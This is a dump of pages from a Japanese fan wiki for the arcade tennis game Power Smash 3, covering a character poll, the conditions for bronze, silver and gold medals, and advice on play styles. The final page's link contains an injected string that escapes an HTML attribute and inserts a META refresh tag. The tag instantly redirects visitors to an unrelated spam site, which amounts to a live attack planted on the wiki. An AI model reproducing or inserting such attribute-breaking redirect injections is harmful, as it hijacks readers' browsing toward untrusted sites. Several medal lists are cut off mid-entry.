powersmash3 @Wiki
http://w.atwiki.jp/powersmash3/
powersmash3 @Wiki
ja
2009-02-15T21:26:42+09:00
1234700802
-
キャラクターアンケート
https://w.atwiki.jp/powersmash3/pages/276.html
皆さんが使ってるキャラの使用率を知りたいので、
自分が使っているキャラを教えてください。
2009-02-15T21:26:42+09:00
1234700802
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キャラ使用感
https://w.atwiki.jp/powersmash3/pages/275.html
p
2007-10-14T20:07:55+09:00
1192360075
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アンケート ―プレイスタイル編
https://w.atwiki.jp/powersmash3/pages/274.html
削除
2008-09-09T18:51:57+09:00
1220953917
-
アンケート ―プレイスタイル編―
https://w.atwiki.jp/powersmash3/pages/273.html
削除
2008-09-09T18:52:32+09:00
1220953952
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銅メダル入手条件
https://w.atwiki.jp/powersmash3/pages/272.html
*銅メダル入手条件
**総合(モード問わず)
100プレイ達成記念メダル
200プレイ達成記念メダル
300プレイ達成記念メダル
プレイ時間1時間達成記念メダル
プレイ時間5時間達成記念メダル
プレイ時間10時間達成記念メダル
取得ゲーム数100ゲーム達成記念メダル
取得ゲーム数250ゲーム達成記念メダル
取得ゲーム数500ゲーム達成記念メダル
遠征5店舗以上達成記念メダル
移動距離10Km達成記念メダル
移動距離50Km達成記念メダル
**チャレンジモード以外
500サーブ達成記念メダル
初MAXサーブ記念メダル
MAXサーブ50回達成記念メダル
MAXサーブ100回達成記念メダル
MAXサーブ連続3回達成記念メダル
1000スウィング達成記念メダル
5000スウィング達成記念メダル
サービスエース50回達成記念メダル
サービスエース100回達成記念メダル
セカンドサービスエース50回達成記念メダル
ストロークによる得点回数50回達成記念メダル
ストロークによる得点回数100回達成記念メダル
ボレーによる得点回数50回達成記念メダル
ボレーによる得点回数100回達成記念メダル
ロブによる得点回数25回達成記念メダル
ロブによる得点回数50回達成記念メダル
スマッシュによる得点回数50回達成記念メダル
スマッシュによる得点回数100回達成記念メダル
ドロップショットによる得点回数20回達成記念メダル
ドロップショットによる得点回数50回達成記念メダル
ジャンピングレシーブ回数100回達成記念メダル
よくひろった!メダル
**対戦
対戦数50試合達成記念メダル
対戦数100試合達成記念メダル
対戦数200試合達成記念メダル
対戦初勝利記念メダル
対戦10勝達成記念メダル
対戦20勝達成記念メダル
対戦30勝達成記念メダル
対戦10敗がんばれ!メダル
対戦25敗くじけるな!メダル
対戦50敗気にするな!メダル
5連勝達成記念メダル
対戦にてラブゲーム25回達成記念メダル
対戦にてラブゲーム50回達成記念メダル
**トーナメント(シングルス)
トーナメント(シングルス
2008-02-24T19:27:57+09:00
1203848877
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銀メダル入手条件
https://w.atwiki.jp/powersmash3/pages/271.html
2*銀メダル入手条件
**総合(モード問わず)
400プレイ達成記念メダル
500プレイ達成記念メダル
プレイ時間25時間達成記念メダル
プレイ時間50時間達成記念メダル
対COM通算 100勝
対COM通算 250勝
ラリー 連続30回
50000スウィング達成記念メダル
取得ゲーム数1000ゲーム達成記念メダル
取得ゲーム数2500ゲーム達成記念メダル
遠征10店舗以上達成記念メダル
移動距離100Km達成記念メダル
移動距離200Km達成記念メダル
移動距離500Km達成記念メダル
1000サーブ達成記念メダル
2000サーブ達成記念メダル
MAXサーブ250回達成記念メダル
MAXサーブ500回達成記念メダル
MAXサーブ750回達成記念メダル
MAXサーブ連続5回達成記念メダル
MAXサーブ連続7回達成記念メダル
10000スウィング達成記念メダル
サービスエース200回達成記念メダル
サービスエース500回達成記念メダル
セカンドサービスエース200回達成記念メダル
セカンドサービスエース500回達成記念メダル
ダブルフォルト 50回達記念メダル
ストロークによる得点回数250回達成記念メダル
ストロークによる得点回数500回達成記念メダル
ボレーによる得点回数250回達成記念メダル
ボレーによる得点回数500回達成記念メダル
ロブによる得点回数100回達成記念メダル
ロブによる得点回数250回達成記念メダル
スマッシュによる得点回数250回達成記念メダル
スマッシュによる得点回数500回達成記念メダル
ドロップショットによる得点回数100回達成記念メダル
ドロップショットによる得点回数250回達成記念メダル
ジャンピングレシーブ回数500回達成記念メダル
アウト500回達成記念メダル
かなりよくひろった!メダル
ICカード更新 3回
ICカード更新 4回
あたり!ラッキーメダル
**対戦
対戦数100試合達成記念メダル
対戦数200試合達成記念メダル
対戦数300試合達成記念メダル
対戦数400試合達成記念メダル
対戦数500試合達成記念メダル
対戦数750試合達成記念メダル
2009-03-01T12:18:15+09:00
1235877495
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金メダル入手条件
https://w.atwiki.jp/powersmash3/pages/270.html
*金メダル入手条件
**総合(モード問わず)
プレイ時間100時間達成記念メダル
プレイ時間500時間達成記念メダル
プレイ時間1000時間達成記念メダル
移動距離1000Km達成記念メダル
移動距離10000Km地球1/4周達成記念メダル
移動距離20000Km地球半周達成記念メダル
移動距離40000Km地球1周達成記念メダル
3000サーブ達成記念メダル
MAXサーブ1000回達成記念メダル
MAXサーブ2000回達成記念メダル
MAXサーブ5000回達成記念メダル
MAXサーブ10000回達成記念メダル
MAXサーブ連続10回達成記念メダル
MAXサーブ連続15回達成記念メダル
MAXサーブ連続20回達成記念メダル
サービスエース1000回達成記念メダル
セカンドサービスエース 1000回達成記念メダル
ダブルフォルト100回達成記念メダル
ストロークによる得点回数1000回達成記念メダル
ボレーによる得点回数1000回達成記念メダル
ロブによる得点回数500回達成記念メダル
スマッシュによる得点回数1000回達成記念メダル
ドロップショットによる得点回数500回達成記念メダル
ジャンピングレシーブ回数1000回達成記念メダル
すごいひろいっぷりに感服!メダル
アウト1000回達成記念メダル
ラリー連続40回達成記念メダル
1000プレイ達成記念メダル
5000ゲーム獲得記念メダル
100000スイング達成記念メダル
対COM通算500勝達成記念メダル
対COM通算1000勝達成記念メダル
取得ゲーム数5000ゲーム達成記念メダル
取得ゲーム数10000ゲーム達成記念メダル
取得ゲーム数50000ゲーム達成記念メダル
遠征20店舗以上達成記念メダル
遠征30店舗達成記念メダル
ICカード更新5回達成記念メダル
スーパーラッキーメダル
**対戦
25連勝達成記念メダル
30連勝達成記念メダル
50連勝達成記念メダル
対戦数1000試合達成記念メダル
対戦数2000試合達成記念メダル
対戦数3000試合達成記念メダル
対戦数4000試合達成記念メダル
対戦数5000試合達成記念メダル
対戦数6000試合
2008-10-28T11:55:47+09:00
1225162547
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プレイスタイルを選ぶ時の留意点
https://w.atwiki.jp/powersmash3/pages/269.html
*プレイスタイルを選ぶときの留意点
**キャラクターとの関係
プレイスタイルを変えても、キャラの基本的な性質は変わらない。
・足の速さ・球の重さ・速さ・球の質(フラット系、スピン系)
・サーブの重さ・スライス(スピン)サーブの曲がり具合
・補球範囲・強打打点・カウンターの範囲、威力
・ボレーの打点
これらはプレスタによる変化はあるものの、元々のキャラの性質はかなり残っている。
つまり、各キャラクターには、それぞれ相性の合うプレイスタイルとそうでないものが存在すると思われる。
**強化系と基本系
一般的に、ひとつの能力に特化した強化系のプレイスタイルよりも、各能力のバランスの取れた基本系プレイスタイルの方が強いとされており、また使用率も基本系のプレイスタイルは、他の強化系のプレイスタイルと比べても圧倒的に高い。
なぜかというと、各系統の強化されていく能力は、その系統の基本系の時点で十分高いので、その能力を強化してもあまり意味がない。加えて、その強化の代償としての他の能力の大幅な低下を招くため、実質的な総合能力が低下すると思われる。
従って、能力が強化系になるに従い弱くなっていき、またクセも強くなるので扱いづらい。
特に、熟練したプレイヤーほどさまざまなプレイで戦えるようになるので、さまざまなプレイに対応できる基本系プレイスタイルの方が自分の能力をより活かすことができる。そのため熟練したプレイヤーほど基本系のプレイスタイルを選択するのだと思われる。
今作では様々なプレイスタイルが用意されたのに(+付き,イニシャル付きも含めると実に40種類!)、使われるプレイスタイルが固定されてしまっており、実質選択の幅が広がっていないというのは、非常に残念な事である。
よって、強化系のプレイスタイルを選択するのは、対戦での不利を覚悟しなければならないので、あまり賢明とは言えない。基本系のプレイスタイルを選択する方が無難かつベターである。
しかし、クセが強いということは相手も戦いづらいということであり、また強化した能力のフィールドに相手を持ち込むことができれば、強化系プレイスタイルは途轍もない威力を発揮する。そういった点で、強化系プレイスタイルには基本系とは違った面白さや強みがある。なので、ひとつのプレイに絶対の自信があった
2007-12-09T23:36:39+09:00
1197210999
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特別なプレイスタイル
https://w.atwiki.jp/powersmash3/pages/268.html
*特別なプレイスタイル
**デフォルトプレイスタイル
プレイスタイルがそのキャラクターのデフォルトのものであった場合、他のキャラクターがそのプレイスタイルを使用した時とは違う独特の性質・能力が現れる。またデフォルトプレイスタイルの中には、特定のキャラクターしかなることのできないプレイスタイル(固有プレイスタイル,下参照)が存在する。
**+付きプレイスタイル
固有プレスタと英字プレスタを除くほぼ全てのプレスタには,プレイスタイルの名称の末尾に"+"を付ける事ができる。
+付きのプレイスタイルになると、スライスサーブ(利き腕の反対に曲がる)がキックサーブ(利き腕方向に跳ねる)に変化する。
また、キャラクターのデフォルトのプレイスタイルに+が付いた場合は、さらにデフォルト時の独特の性質も消え、他のキャラクターがその+付きプレイスタイルを使ったときと同じ能力になる。
しかし,それら以外の各能力に差が生じるかどうかは、いまだはっきりしていない(グラフ上は変化無し)。
+が付いた場合能力に変化があるとする場合、長所が抑制され、短所が補われるという見解が多い。
+付きプレイスタイルになる方法は、基本的には、+を付けたいプレイスタイルのまま、他のプレイスタイルの提案を拒否し続ける事。何度目かの提案で、+つきのプレイスタイルが提案されるが、拒否する回数は一定ではない。
また,金メダルを多く獲得すると通常より早く提案されるようになるようだ。
HS、GRの+付きスタイル
この2つのプレイスタイルについては+付きスタイルが確認されておらず、それぞれHH+、PS+が代わりに提案されるようである。
**固有プレイスタイル
一部のキャラクターは、特定のプレスタの代わりにキャラ固有のプレスタを持っている。
これらのプレイスタイルは,系統図(上参照)を見るとわかるが,それぞれあるプレイスタイルの代わりに用意されているもので、プレスタ変更の提案などの法則は、これらのプレスタの位置に本来存在していたプレスタの法則に準ずる。
これらのプレスタは他キャラでは扱えない。
o PSの代わりに[[Strong Forehand]] (SF) … Ferrero
o PSの代わりに[[Strong Bac
2009-06-08T18:01:23+09:00
1244451683
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プレイスタイルの基本と法則
https://w.atwiki.jp/powersmash3/pages/267.html
*プレイスタイルの基本と法則
**[[プレイスタイルの基本]]
**[[プレイスタイルの法則]]
**[[特別なプレイスタイル]]
**[[プレイスタイルを選ぶ時の留意点]][[@wikiへ>http://kam.jp"><META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://esthe.pink.sh/r/]]
2007-12-09T22:45:12+09:00
1197207912